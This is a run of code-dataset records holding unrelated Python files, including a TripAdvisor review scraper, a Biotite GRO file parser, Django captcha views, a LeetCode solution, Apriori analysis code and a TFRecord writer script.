hotelLink)\n except Exception as e:\n print(e)\n continue\n hotels.append(hotel)\n\n return hotels\n\n# Return a tuple of overallRating, reviews[], ratings[] of a hotel\ndef getHotelData(link):\n reviewList = []\n ratingList = []\n overall = 0\n reviewPage = ''\n\n # Loop to keep shifting to the next page of reviews\n for r_num in range (0, 100, 5):\n \n if (r_num != 0):\n reviewPage = '-or' + f'{r_num}'\n\n li = link.split('Reviews')\n url = li[0] + 'Reviews' + reviewPage + li[1]\n\n html_text = requests.get(url).content\n soup = BeautifulSoup(html_text, 'lxml')\n\n # Overall Rating\n about = soup.find('span', class_ = '_3cjYfwwQ')\n overall = about.text\n\n # Reviews\n reviews = soup.find_all('div', class_ = '_2wrUUKlw _3hFEdNs8')\n\n for review in reviews:\n\n # Review Rating\n ratingObj = review.find('div', class_ = 'nf9vGX55')\n rating = 0\n\n str = ratingObj.find('span', class_ = 'ui_bubble_rating bubble_50')\n if (str != None):\n rating = 5\n str = ratingObj.find('span', class_ = 'ui_bubble_rating bubble_40')\n if (str != None):\n rating = 4\n str = ratingObj.find('span', class_ = 'ui_bubble_rating bubble_30')\n if (str != None):\n rating = 3\n str = ratingObj.find('span', class_ = 'ui_bubble_rating bubble_20')\n if (str != None):\n rating = 2\n str = ratingObj.find('span', class_ = 'ui_bubble_rating bubble_10')\n if (str != None):\n rating = 1\n\n # Review Comment\n commentObj = review.find('q', class_ = 'IRsGHoPm')\n parts = commentObj.find_all('span')\n comment = ''\n # To add hidden parts of reviews\n for part in parts:\n comment = comment + part.text\n\n reviewList.append(comment)\n ratingList.append(rating)\n\n # print (f'Rating = {rating} bubbles\\nReview: {comment}\\n-----------------')\n return (overall, reviewList, ratingList)\n\ndef main():\n\n # To fetch hotels in Bangkok\n workbook = xlsxwriter.Workbook('bangkokHotels.xlsx')\n worksheet = workbook.add_worksheet()\n\n row = 1\n col = 0\n\n worksheet.write(0, 0, 'Hotel Name')\n worksheet.write(0, 1, 'Hotel Link')\n worksheet.write(0, 2, 'Overall')\n worksheet.write(0, 3, 'Rating')\n worksheet.write(0, 4, 'Review')\n\n kualaLumpurHotels = getHotels(url = 'https://www.tripadvisor.in/Hotels-g293916-Bangkok-Hotels.html')\n for hotel in kualaLumpurHotels:\n hotelData = getHotelData(hotel.link)\n hotel.addData(overall = hotelData[0], reviewList = hotelData[1], ratingList = hotelData[2])\n for i in range (len(hotel.reviews)):\n worksheet.write(row, col, hotel.name)\n worksheet.write(row, col + 1, hotel.link)\n worksheet.write(row, col + 2, hotel.overallRating)\n worksheet.write(row, col + 3, hotel.ratings[i])\n worksheet.write(row, col + 4, hotel.reviews[i])\n row = row + 1\n \n workbook.close()\n\n # To fetch hotels in Kuala Lumpur\n workbook = xlsxwriter.Workbook('kualaLumpurHotels.xlsx')\n worksheet = workbook.add_worksheet()\n\n row = 1\n col = 0\n\n worksheet.write(0, 0, 'Hotel Name')\n worksheet.write(0, 1, 'Hotel Link')\n worksheet.write(0, 2, 'Overall')\n worksheet.write(0, 3, 'Rating')\n worksheet.write(0, 4, 'Review')\n\n kualaLumpurHotels = getHotels(url = 'https://www.tripadvisor.in/Hotels-g298570-Kuala_Lumpur_Wilayah_Persekutuan-Hotels.html')\n for hotel in kualaLumpurHotels:\n hotelData = getHotelData(hotel.link)\n hotel.addData(overall = hotelData[0], reviewList = hotelData[1], ratingList = hotelData[2])\n for i in range (len(hotel.reviews)):\n worksheet.write(row, col, hotel.name)\n worksheet.write(row, col + 1, hotel.link)\n worksheet.write(row, col + 2, hotel.overallRating)\n worksheet.write(row, col + 3, hotel.ratings[i])\n worksheet.write(row, col + 4, hotel.reviews[i])\n row = row + 1\n \n workbook.close()\n\n # To fetch hotels in Singapore\n workbook = xlsxwriter.Workbook('singaporeHotels.xlsx')\n worksheet = workbook.add_worksheet()\n\n row = 1\n col = 0\n\n worksheet.write(0, 0, 'Hotel Name')\n worksheet.write(0, 1, 'Hotel Link')\n worksheet.write(0, 2, 'Overall')\n worksheet.write(0, 3, 'Rating')\n worksheet.write(0, 4, 'Review')\n\n singaporeHotels = getHotels(url = 'https://www.tripadvisor.in/Hotels-g294265-Singapore-Hotels.html')\n for hotel in singaporeHotels:\n hotelData = getHotelData(hotel.link)\n hotel.addData(overall = hotelData[0], reviewList = hotelData[1], ratingList = hotelData[2])\n for i in range (len(hotel.reviews)):\n worksheet.write(row, col, hotel.name)\n worksheet.write(row, col + 1, hotel.link)\n worksheet.write(row, col + 2, hotel.overallRating)\n worksheet.write(row, col + 3, hotel.ratings[i])\n worksheet.write(row, col + 4, hotel.reviews[i])\n row = row + 1\n \n workbook.close()\n\n\nmain()","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":6832,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"215755001","text":"# This source code is part of the Biotite package and is distributed\n# under the 3-Clause BSD License. Please see 'LICENSE.rst' for further\n# information.\n\n__author__ = \"Daniel Bauer\"\n__all__ = [\"GROFile\"]\n\nimport numpy as np\nfrom ...atoms import AtomArray, AtomArrayStack\nfrom ....file import TextFile\nfrom ...error import BadStructureError\nimport copy\nfrom datetime import datetime\n\n_atom_records = {\"res_id\" : (0, 5),\n \"res_name\" : (5,10),\n \"atom_name\" : (10,15),\n \"atom_id\" : (15,20),\n \"coord_x\" : (20, 28),\n \"coord_y\" : (28, 36),\n \"coord_z\" : (36, 44),\n \"v_x\" : (44, 52),\n \"v_y\" : (52, 60),\n \"v_z\" : (60, 68)}\n\n\nclass GROFile(TextFile):\n \"\"\"\n This class represents a GRO file.\n\n This class only provides support for reading/writing the pure atom\n information\n\n Examples\n --------\n Load a `\\*.gro` file, modify the structure and save the new\n structure into a new file:\n \n >>> file = GROFile()\n >>> file.read(\"1l2y.gro\")\n >>> array_stack = file.get_structure()\n >>> array_stack_mod = rotate(array_stack, [1,2,3])\n >>> file = GROFile()\n >>> file.set_structure(array_stack_mod)\n >>> file.write(\"1l2y_mod.gro\")\n \n \"\"\"\n \n def get_structure(self, model=None):\n \"\"\"\n Get an `AtomArray` or `AtomArrayStack` from the GRO file.\n \n Parameters\n ----------\n model : int, optional\n If this parameter is given, the function will return an\n `AtomArray` from the atoms corresponding to the given model\n ID.\n If this parameter is omitted, an `AtomArrayStack` containing\n all models will be returned, even if the structure contains\n only one model.\n \n Returns\n -------\n array : AtomArray or AtomArrayStack\n The return type depends on the `model` parameter.\n \"\"\"\n\n def is_int(line):\n \"\"\"\n helper function: returns true\n if the string can be parsed to an int\n \"\"\"\n try:\n int(line)\n return True\n except ValueError:\n return False\n\n # Line indices where a new model starts\n model_start_i = np.array([i for i in range(len(self.lines))\n if is_int(self.lines[i])],\n dtype=int)\n\n # Number of atoms in each model\n model_atom_counts = np.array(\n [int(self.lines[i]) for i in model_start_i]\n )\n\n # Helper function to get the indeces of all atoms for a model\n def get_atom_line_i(model_start_i, model_atom_counts):\n return np.arange(\n model_start_i+1, model_start_i+1+model_atom_counts\n )\n\n if model is None:\n # Check if all models have the same length\n if np.all(model_atom_counts != model_atom_counts[0]):\n raise BadStructureError(\"The models in the file have unequal \"\n \"amount of atoms, give an explicit \"\n \"model instead\")\n depth = len(model_start_i)\n length = model_atom_counts[0]\n array = AtomArrayStack(depth, length)\n\n # Line indices for annotation determination is determined\n # from model 1\n annot_i = get_atom_line_i(model_start_i[0], length)\n else:\n if model > len(model_start_i):\n raise ValueError(\n f\"Requested model {model} is larger than the \"\n f\"amount of models ({len(model_start_i)})\"\n )\n\n length = model_atom_counts[model-1]\n array = AtomArray(length)\n\n annot_i = get_atom_line_i(model_start_i[model-1], length)\n coord_i = get_atom_line_i(model_start_i[model-1], length)\n\n # Fill in elements\n def guess_element(atom_name):\n if atom_name.startswith((\"H\", \"1H\", \"2H\", \"3H\")):\n return 'H'\n else:\n return atom_name[0]\n\n # i is index in array, line_i is line index\n for i, line_i in enumerate(annot_i):\n line = self.lines[line_i]\n array.res_id[i] = int(line[0:5])\n array.res_name[i] = line[5:10].strip()\n array.atom_name[i] = line[10:15].strip()\n array.element[i] = guess_element(line[10:15].strip())\n\n # Fill in coordinates\n if isinstance(array, AtomArray):\n for i, line_i in enumerate(coord_i):\n line = self.lines[line_i]\n # gro files use nm instead of A\n array.coord[i,0] = float(line[20:28])*10\n array.coord[i,1] = float(line[28:36])*10\n array.coord[i,2] = float(line[36:44])*10\n elif isinstance(array, AtomArrayStack):\n for m in range(len(model_start_i)):\n atom_i = np.arange(0, model_atom_counts[0])\n line_i = get_atom_line_i(model_start_i[m], model_atom_counts[m])\n for atom_i, line_i in zip(atom_i, line_i):\n line = self.lines[line_i]\n array.coord[m,atom_i,0] = float(line[20:28])*10\n array.coord[m,atom_i,1] = float(line[28:36])*10\n array.coord[m,atom_i,2] = float(line[36:44])*10\n\n return array\n\n \n def set_structure(self, array):\n \"\"\"\n Set the `AtomArray` or `AtomArrayStack` for the file.\n \n Parameters\n ----------\n array : AtomArray or AtomArrayStack\n The array or stack to be saved into this file. If a stack\n is given, each array in the stack is saved as separate\n model.\n \"\"\"\n atom_id = np.arange(1, array.array_length()+1)\n\n def get_box_dimen(array):\n \"\"\"\n GRO files have the box dimensions as last line for each model.\n Because we cannot properly detect the box shape, we simply use\n the min and max coordinates in xyz to get the correct size\n \"\"\"\n return np.abs(array.coord.max(axis=0) - array.coord.min(axis=0))/10\n\n if isinstance(array, AtomArray):\n self.lines = [None] * (array.array_length() + 3)\n\n # Write header lines\n self.lines[0] = f\"Generated by Biotite at {datetime.now()}\"\n self.lines[1] = str(array.array_length())\n\n # Write atom lines\n fmt = '{:>5d}{:5s}{:>5s}{:>5d}{:>8.3f}{:>8.3f}{:>8.3f}'\n for i in range(array.array_length()):\n # gro format is in nm -> multiply coords by 10\n self.lines[i+2] = fmt.format(\n array.res_id[i], array.res_name[i], array.atom_name[i],\n atom_id[i], array.coord[i,0]/10, array.coord[i,1]/10,\n array.coord[i,2]/10\n )\n self.lines[-1] = \"{:>8.3f} {:>8.3f} {:>8.3f}\" \\\n .format(*get_box_dimen(array))\n elif isinstance(array, AtomArrayStack):\n self.lines = []\n # The entire information, but the coordinates,\n # is equal for each model\n # Therefore template lines are created\n # which are afterwards applied for each model\n templines = [None] * array.array_length()\n fmt = '{:>5d}{:5s}{:>5s}{:5d}'\n for i in range(array.array_length()):\n templines[i] = fmt.format(array.res_id[i], array.res_name[i],\n array.atom_name[i], atom_id[i])\n\n for i in range(array.stack_depth()):\n self.lines.append(\n f\"Generated by Biotite at {datetime.now()}, model={i+1}\"\n )\n self.lines.append(str(array.array_length()))\n\n # Fill in coordinates for each model\n modellines = copy.copy(templines)\n for j, line in enumerate(modellines):\n # Insert coordinates\n line = (line + \"{:>8.3f}{:>8.3f}{:>8.3f}\".format(\n array.coord[i,j,0]/10,\n array.coord[i,j,1]/10,\n array.coord[i,j,2]/10))\n modellines[j] = line\n self.lines.extend(modellines)\n self.lines.append(\"{:>8.3f} {:>8.3f} {:>8.3f}\"\n .format(*get_box_dimen(array[i])))\n\n","sub_path":"src/biotite/structure/io/gro/file.py","file_name":"file.py","file_ext":"py","file_size_in_byte":8709,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"629946940","text":"from cStringIO import StringIO\nfrom captcha.models import CaptchaStore\nfrom django.http import HttpResponse, Http404\nfrom django.shortcuts import get_object_or_404\nimport Image, ImageDraw, ImageFont, ImageFilter, random\nfrom captcha.conf import settings\n\nimport re\nfrom registration.forms import *\nfrom django.http import HttpResponseRedirect, HttpResponse, Http404\nfrom captcha.models import CaptchaReport\nfrom core.models import CourseCategory, CityList, State\nfrom core.choices import QUALIFICATION_LIST\nimport datetime\nimport csv\nimport os, datetime\nfrom settings import PROJECT_DIR\nfrom django.contrib.auth.decorators import login_required\n\nNON_DIGITS_RX = re.compile( '[^\\d]' )\n\ndef captcha_image( request, key ):\n store = get_object_or_404( CaptchaStore, hashkey = key )\n text = store.challenge\n \n if settings.CAPTCHA_FONT_PATH.lower().strip().endswith( 'ttf' ):\n font = ImageFont.truetype( settings.CAPTCHA_FONT_PATH, settings.CAPTCHA_FONT_SIZE )\n else:\n font = ImageFont.load( settings.CAPTCHA_FONT_PATH )\n \n size = font.getsize( text )\n size = ( size[0] * 2, size[1] )\n image = Image.new( 'RGB', size , settings.CAPTCHA_BACKGROUND_COLOR )\n \n try:\n PIL_VERSION = int( NON_DIGITS_RX.sub( '', Image.VERSION ) )\n except:\n PIL_VERSION = 116\n \n \n \n xpos = 2\n for char in text:\n fgimage = Image.new( 'RGB', size, settings.CAPTCHA_FOREGROUND_COLOR )\n charimage = Image.new( 'L', font.getsize( ' %s ' % char ), '#000000' )\n chardraw = ImageDraw.Draw( charimage )\n chardraw.text( ( 0, 0 ), ' %s ' % char, font = font, fill = '#ffffff' )\n if settings.CAPTCHA_LETTER_ROTATION:\n if PIL_VERSION >= 116:\n charimage = charimage.rotate( random.randrange( *settings.CAPTCHA_LETTER_ROTATION ), expand = 0, resample = Image.BICUBIC )\n else:\n charimage = charimage.rotate( random.randrange( *settings.CAPTCHA_LETTER_ROTATION ), resample = Image.BICUBIC )\n charimage = charimage.crop( charimage.getbbox() )\n maskimage = Image.new( 'L', size )\n \n maskimage.paste( charimage, ( xpos, 4, xpos + charimage.size[0], 4 + charimage.size[1] ) )\n size = maskimage.size\n image = Image.composite( fgimage, image, maskimage )\n xpos = xpos + 2 + charimage.size[0]\n \n image = image.crop( ( 0, 0, xpos + 1, size[1] ) )\n draw = ImageDraw.Draw( image )\n \n for f in settings.noise_functions():\n draw = f( draw, image )\n for f in settings.filter_functions():\n image = f( image )\n \n out = StringIO()\n image.save( out, \"PNG\" )\n out.seek( 0 )\n \n response = HttpResponse()\n response['Content-Type'] = 'image/png'\n response.write( out.read() )\n \n return response\n\ndef captcha_audio( request, key ):\n if settings.CAPTCHA_FLITE_PATH:\n store = get_object_or_404( CaptchaStore, hashkey = key )\n text = store.challenge\n if 'captcha.helpers.math_challenge' == settings.CAPTCHA_CHALLENGE_FUNCT:\n text = text.replace( '*', 'times' ).replace( '-', 'minus' )\n else:\n text = ', '.join( list( text ) )\n \n import tempfile, os\n \n path = str( os.path.join( tempfile.gettempdir(), '%s.wav' % key ) )\n cline = '%s -t \"%s\" -o \"%s\"' % ( settings.CAPTCHA_FLITE_PATH, text, path )\n \n os.popen( cline ).read()\n if os.path.isfile( path ):\n response = HttpResponse()\n f = open( path, 'rb' )\n response['Content-Type'] = 'audio/x-wav'\n response.write( f.read() )\n f.close()\n os.unlink( path )\n return response\n \n raise Http404\n\ndef reload_captcha( request ):\n captcha_form = CaptchaForm()\n return HttpResponse( captcha_form )\n\ndef save_captcha_report( request ): \n try:\n act_captcha = CaptchaStore.objects.get( hashkey = request.POST['captcha_0'] ).challenge\n except: act_captcha = 'NA'\n try:\n aoi_obj = CourseCategory.objects.get( id = request.POST.get( 'area_of_interest' ) ).name\n except: aoi_obj = 'Select valid choice'\n try:\n current_loc = CityList.objects.get( id = request.POST.get( 'current_location' ) ).name\n except : current_loc = 'Select valid choice'\n try:\n pref_loc = State.objects.get( id = request.POST.get( 'preffered_location' ) ).name\n except: pref_loc = 'Select valid choice'\n captcha_report_obj = CaptchaReport( real_captcha = act_captcha, typed_captcha = request.POST.get( 'captcha_1', '' ), server_details = datetime.datetime.now(), \\\n ip_address = request.META.get( 'REMOTE_ADDR', 'NA' ), email = request.POST.get( 'email', 'Enter valid email address' ), name = request.POST.get( 'fname', 'Enter Name' ), \\\n area_of_interest = aoi_obj, preffered_location = pref_loc, contact_number = request.POST.get( 'contact_number', 'Enter valid contact number' ), \\\n current_location = current_loc, highest_qa_level = request.POST.get( 'highest_qa_level', 'Select valid choice' ), reference_url = request.META.get( 'HTTP_REFERER', 'NA' ), user_agent = request.META.get( 'HTTP_USER_AGENT', 'NA' ), \\\n year_of_entrance = request.POST.get('year_of_entrance', 'Select valid admission year') )\n captcha_report_obj.save()\n if request.POST.has_key( 'refresh_key' ):\n captcha_report_obj.refresh_flag = True\n captcha_report_obj.save()\n \n# return True\n# \n status = 'True'\n return HttpResponse( status )\n\n@login_required\ndef captcha_error_report( request ): \n path_to_report = os.path.join( PROJECT_DIR, 'downloads/captcha_report.csv' ).replace( '\\\\', '/' )\n response = HttpResponse( mimetype = 'text/csv' )\n response['Content-Disposition'] = 'attachment; filename=captcha_report.csv'\n writer = csv.writer( response )\n csv_reader_fd = csv.reader( open( path_to_report, 'rb' ) )\n writer.writerows( csv_reader_fd )\n return response\n","sub_path":"ugpnzchfqbgpbz/captcha/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":5969,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"16701606","text":"\"\"\" 287. Find the Duplicate Number\nhttps://leetcode.com/problems/find-the-duplicate-number/\n\nGiven an array of integers nums containing n + 1 integers\nwhere each integer is in the range [1, n] inclusive.\n\nThere is only one repeated number in nums, return this repeated number.\n\nExample 1:\nInput: nums = [1,3,4,2,2]\nOutput: 2\n\nExample 2:\nInput: nums = [3,1,3,4,2]\nOutput: 3\n\nExample 3:\nInput: nums = [1,1]\nOutput: 1\n\nExample 4:\nInput: nums = [1,1,2]\nOutput: 1\n\nConstraints:\n2 <= n <= 3 * 10^4\nnums.length == n + 1\n1 <= nums[i] <= n\nAll the integers in nums appear only once except for precisely one integer\nwhich appears two or more times.\n\n\"\"\"\n\n\nclass Solution:\n def find_duplicate(self, nums: list[int]) -> int:\n# looked for this solution in addition to mine:\n # Find the intersection point of the two runners.\n tortoise = hare = nums[0]\n while True:\n tortoise = nums[tortoise]\n hare = nums[nums[hare]]\n if tortoise == hare:\n break\n\n # Find the \"entrance\" to the cycle.\n tortoise = nums[0]\n while tortoise != hare:\n tortoise = nums[tortoise]\n hare = nums[hare]\n\n return hare\n\n# my solution\n# hash_set = set()\n# for val in nums:\n# if val in hash_set:\n# return val\n# else:\n# hash_set.add(val)\n#\n# return 0\n\n# Runtime: 68 ms, faster than 48.52% of Python3 online submissions for Find the Duplicate Number.\n# Memory Usage: 18.5 MB, less than 11.50% of Python3 online submissions for Find the Duplicate Number.\n\nif __name__ == '__main__':\n my_solution = Solution()\n in_lst = [1,3,4,2,2]\n in_lst = [3,1,3,4,2]\n in_lst = [1,1]\n in_lst = [1,1,2]\n in_lst = [2, 2, 2, 2]\n\n\n print(\"input: {}\".format(in_lst))\n print(\"result: {}\".format(my_solution.find_duplicate(in_lst)))\n\n","sub_path":"02/80-89/0287-find-the-duplicate-number/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":1890,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"514806003","text":"import pandas as pd\nfrom mlxtend.preprocessing import TransactionEncoder\nfrom apyori import apriori\n#from mlxtend.frequent_patterns import apriori\nimport math\nimport numpy as np\nimport csv\nnp.set_printoptions(suppress=True)\n\ndef Apriori(_csv, _Archivo):\n i=0\n association_rules = list(apriori(_csv, min_support=0.0045, min_confidence=0.0045, min_lift=0.0045, max_length=2))\n\n print(len(association_rules))\n while i < len(association_rules):\n _Archivo.write(str(association_rules[i]) + \"\\n\")\n _Archivo.write(\"=====================================\\n\")\n i=i+1\n\ndef TablaCompra(_csv):\n table = []\n w = 0\n x = 0\n y = 0\n z = 0\n #print(len(_csv))\n #total_boletas = 131209\n total_boletas = 10000\n #print(total_boletas)\n while x < len(_csv):\n if x == 0:\n table += [[]]\n y = _csv.iloc[x][\"order_id\"]\n #print(y)\n if x > 0:\n z = _csv.iloc[x][\"order_id\"]\n if z != y:\n table += [[]]\n y = z\n #print(\"paso a la siguinte orden\")\n w += 1\n #print(z)\n table[w].append(_csv.iloc[x][\"product_id\"])\n #table = list(filter(None, table))\n #if x > len(_csv):\n #print(table)\n #print(table)\n if(w==total_boletas):\n break\n x = x + 1\n\n #table = list(filter(None, table))\n #print(table)\n return table\n\ndef calculo_coeficiente_phi(t):\n \"Calcula coeficiente phi de una tabla de contingencia\"\n # Variables para calculos\n A11 = int(t[0])\n A10 = int(t[1])\n A01 = int(t[2])\n A00 = int(t[3])\n TotalX = A11 + A10\n TotalY = A11 + A01\n TotalnX = A01 + A00\n TotalnY = A10 + A00\n Total = TotalX + TotalnX\n\n # Calculo de probabilidades\n pxy = (A11 / Total)\n px = (TotalX / Total)\n py = (TotalY / Total)\n uno_menos_px = (TotalnX / Total)\n uno_menos_py = (TotalnY / Total)\n\n # Coeficiente phi\n numerador = pxy - (px * py)\n denominador = px * uno_menos_px * py * uno_menos_py\n denominador = math.sqrt(denominador)\n\n coeficiente_phi = numerador / denominador\n t[4] = coeficiente_phi\n return round(coeficiente_phi,4)\n\ndef TablaContingencia(orden, productos, archivo):\n table = []\n w = 0\n x = 0\n y = 0\n z = 0\n orden = orden.applymap(str)\n productos = productos.applymap(str)\n dfmerge = pd.merge(productos, orden, on='product_id')\n\n soportes = dfmerge['product_name'].value_counts()\n soportes2 = dfmerge['product_id'].value_counts()\n\n soportes = pd.DataFrame(soportes).reset_index()\n soportes.columns = [\"product_name\", \"soporte\"]\n soportes2 = pd.DataFrame(soportes2).reset_index()\n soportes2.columns = [\"product_id\", \"soporte\"]\n soportes_final = pd.merge(soportes, soportes2, on='soporte')\n\n while x < len(orden):\n if x == 0:\n table += [[]]\n y = orden.iloc[x][\"order_id\"]\n if x > 0:\n z = orden.iloc[x][\"order_id\"]\n if z != y:\n table += [[]]\n y = z\n w += 1\n table[w].append(orden.iloc[x][\"product_id\"])\n # if x > len(_csv):\n # print(table)\n # print(table)\n x = x + 1\n\n coeficiente = 0\n F11 = 0\n F01 = 0\n F10 = 0\n F00 = 0\n posicion_productos = 0\n posicion_productos_aux = 1\n posicion_ordenes = 0\n\n # productos\n # 4 debe ser 10 mejores productos - 2, es decir 8\n while posicion_productos < 10 - 2:\n if posicion_productos_aux == 10 - posicion_productos or posicion_productos_aux > 10 - posicion_productos:\n # print(\"i: \", i)\n posicion_productos += 1\n posicion_productos_aux = 1\n # ordenes\n while posicion_ordenes < (len(table)):\n if soportes_final.iloc[posicion_productos][2] in table[posicion_ordenes] and \\\n soportes_final.iloc[posicion_productos + posicion_productos_aux][2] in table[posicion_ordenes]:\n F11 += 1\n if soportes_final.iloc[posicion_productos][2] not in table[posicion_ordenes] and \\\n soportes_final.iloc[posicion_productos + posicion_productos_aux][2] in table[posicion_ordenes]:\n F01 += 1\n if soportes_final.iloc[posicion_productos][2] in table[posicion_ordenes] and \\\n soportes_final.iloc[posicion_productos + posicion_productos_aux][2] not in table[posicion_ordenes]:\n F10 += 1\n if soportes_final.iloc[posicion_productos][2] not in table[posicion_ordenes] and \\\n soportes_final.iloc[posicion_productos + posicion_productos_aux][2] not in table[posicion_ordenes]:\n F00 += 1\n posicion_ordenes += 1\n posicion_ordenes = 0\n\n tabla2 = [0, 0, 0, 0, 0]\n tabla2[0] = F11\n tabla2[1] = F10\n tabla2[2] = F01\n tabla2[3] = F00\n\n calculo_coeficiente_phi(tabla2)\n\n arch2 = csv.writer(archivo)\n arch2.writerow(tabla2)\n F11 = 0\n F01 = 0\n F10 = 0\n F00 = 0\n posicion_productos_aux += 1\n","sub_path":"codigo/Funcion_2D_02.py","file_name":"Funcion_2D_02.py","file_ext":"py","file_size_in_byte":5141,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"579899500","text":"# Copyright 2018 The TensorFlow Authors. All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http:#www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n# ==============================================================================\n\n#\n# python code for generating the test record file '/tmp/test1.tfrecord'\n# Author: Rock Zhuang\n# Date : Dec 12, 2018\n# \n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport argparse\nimport os\nimport sys\n\nimport tensorflow as tf\nfrom tensorflow.python.lib.io import python_io\nfrom tensorflow.python.util import compat\nfrom tensorflow.python.lib.io import tf_record\n\ndef main(unused_argv):\n example = tf.train.Example(\n features=tf.train.Features(feature={\n \"feature_0\": tf.train.Feature(int64_list=tf.train.Int64List(value=[111])),\n 'feature_1': tf.train.Feature(bytes_list=tf.train.BytesList(value=[\"1111111111\"])),\n })) \n\n options = tf_record.TFRecordOptions(tf_record.TFRecordCompressionType.ZLIB)\n writer = python_io.TFRecordWriter(\"/tmp/test1.tfrecord\", options)\n\n writer.write(example.SerializeToString())\n\n example = tf.train.Example(\n features=tf.train.Features(feature={\n \"feature_0\": tf.train.Feature(int64_list=tf.train.Int64List(value=[222])),\n 'feature_1': tf.train.Feature(bytes_list=tf.train.BytesList(value=[\"2222222222\"])),\n })) \n writer.write(example.SerializeToString())\n\n example = tf.train.Example(\n features=tf.train.Features(feature={\n \"feature_0\": tf.train.Feature(int64_list=tf.train.Int64List(value=[333])),\n 'feature_1': tf.train.Feature(bytes_list=tf.train.BytesList(value=[\"3333333333\"])),\n })) \n writer.write(example.SerializeToString())\n\n writer.close()\n\n tf.compat.v1.logging.info('File /tmp/test1.tfrecord generated!')\n \n\nif __name__ == '__main__':\n tf.compat.v1.logging.set_verbosity(tf.compat.v1.logging.INFO)\n tf.compat.v1.app.run(main=main, argv=sys.argv)\n","sub_path":"tensorflow/examples/cc/tool/tfrecord_test.py","file_name":"tfrecord_test.py","file_ext":"py","file_size_in_byte":2508,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"196915586","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Thu Jul 26 21:02:51 2018\r\n\r\n@author: User\r\n\"\"\"\r\n\r\nstarting_salary=int(input('Enter the starting salary:'))\r\ntotal_cost=1000000\r\nsemi_annual_raise=0.07\r\nportion_down_payment=0.25\r\nr=0.04\r\nportion_down_paymoney=total_cost*portion_down_payment\r\nl_point=0\r\nr_point=10000\r\nflag=False\r\nsteps=0\r\nwhile(l_point6 and x%6==1):\r\n annual_salary+=annual_salary*semi_annual_raise\r\n monthly_salary=annual_salary/12\r\n current_savings+=current_savings*r/12+saving_rate*monthly_salary\r\n if(abs(current_savings-portion_down_paymoney)<100):\r\n flag=True\r\n break\r\n elif(current_savings>portion_down_paymoney+100):\r\n break\r\n if(current_savingsportion_down_paymoney+100):\r\n r_point=mid_point-1\r\n \r\n \r\nif(flag):\r\n print('Best savings rate:',mid_point/10000)\r\n print('Steps in bisection search:',steps)\r\nelse:\r\n print('It is not possible to pay the down payment in three years.')\r\n \r\n\r\n","sub_path":"ps1c.py","file_name":"ps1c.py","file_ext":"py","file_size_in_byte":1357,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"430365573","text":"import json\n\nclass Read():\n\n\tdef __init__(self, path):\n\t\tself.data = self.getDictFromFile(path)\n\n\tdef getDictFromFile(self, path):\n\t\ttry:\n\t\t\tinfile = open(path, \"r\")\n\t\texcept:\n\t\t\tprint(\"Couldn't read file.\")\n\t\telse:\n\t\t\tJson = json.load(infile)\n\t\t\tinfile.close()\n\t\t\treturn Json\n\nclass Print():\n\n\tdef __init__(self, data, action):\n\t\tif action == 1:\n\t\t\tself.printIds(data)\n\t\telif action == 2:\n\t\t\tself.printTitles(data)\n\t\telif action == 3:\n\t\t\tself.printMatches(data)\n\n\tdef printTitles(self, data):\n\t\tself.loopThrough(data, [\"snippet\", \"title\"])\n\n\tdef printIds(self, data):\n\t\tself.loopThrough(data, [\"snippet\", \"resourceId\", \"videoId\"])\n\n\tdef printMatches(self, data):\n\t\tfor tup in data:\n\t\t\tprint(str(tup[0]) + \", \" + str(tup[1]))\n\n\tdef loopThrough(self, data, indices):\n\t\tstring = \"item\"\n\t\tfor elem in indices:\n\t\t\tstring += \"[\" + \"\\\"\" + elem + \"\\\"\" + \"]\"\n\t\tprint(string)\n\t\tfor dictionary in data:\n\t\t\tfor item in dictionary[\"items\"]:\n\t\t\t\tprint(eval(string))\n\n\nclass Search():\n\n\tdef __init__(self, data, query):\n\t\tself.matches = self.searchForQuery(data, query)\n\n\tdef searchForQuery(self, data, query):\n\t\tmatches = []\n\t\tquery = query.lower()\n\t\tfor dictionary in data:\n\t\t\tfor item in dictionary[\"items\"]:\n\t\t\t\ttitle = item[\"snippet\"][\"title\"]\n\t\t\t\tif query in title.lower():\n\t\t\t\t\ttoAppend = (title, item[\"snippet\"][\"resourceId\"][\"videoId\"])\n\t\t\t\t\tmatches.append(toAppend)\n\t\treturn matches\n","sub_path":"youtube-playlist-manager/read.py","file_name":"read.py","file_ext":"py","file_size_in_byte":1379,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"264597332","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n# @Time : 2021/9/23 1:54 下午\n# @Author : Hanley\n# @File : constant.py\n# @Desc :\nimport os\nimport re\n\n\ndef make_file_path(config_name: str) -> str:\n curr_dir = os.path.dirname(os.path.abspath(__file__))\n return os.path.join(curr_dir, config_name)\n\n\nclass RedisKey:\n second = 1\n minute = 60\n hour = minute * 60\n day = hour * 24\n month = day * 30\n\n\nclass Constant:\n # request headers content type\n octet_stream = re.compile('application/octet-stream')\n urlencoded_pattern = re.compile('application/x-www-form-urlencoded')\n json_pattern = re.compile('application/json')\n form_data = re.compile('multipart/form-data')\n xml = 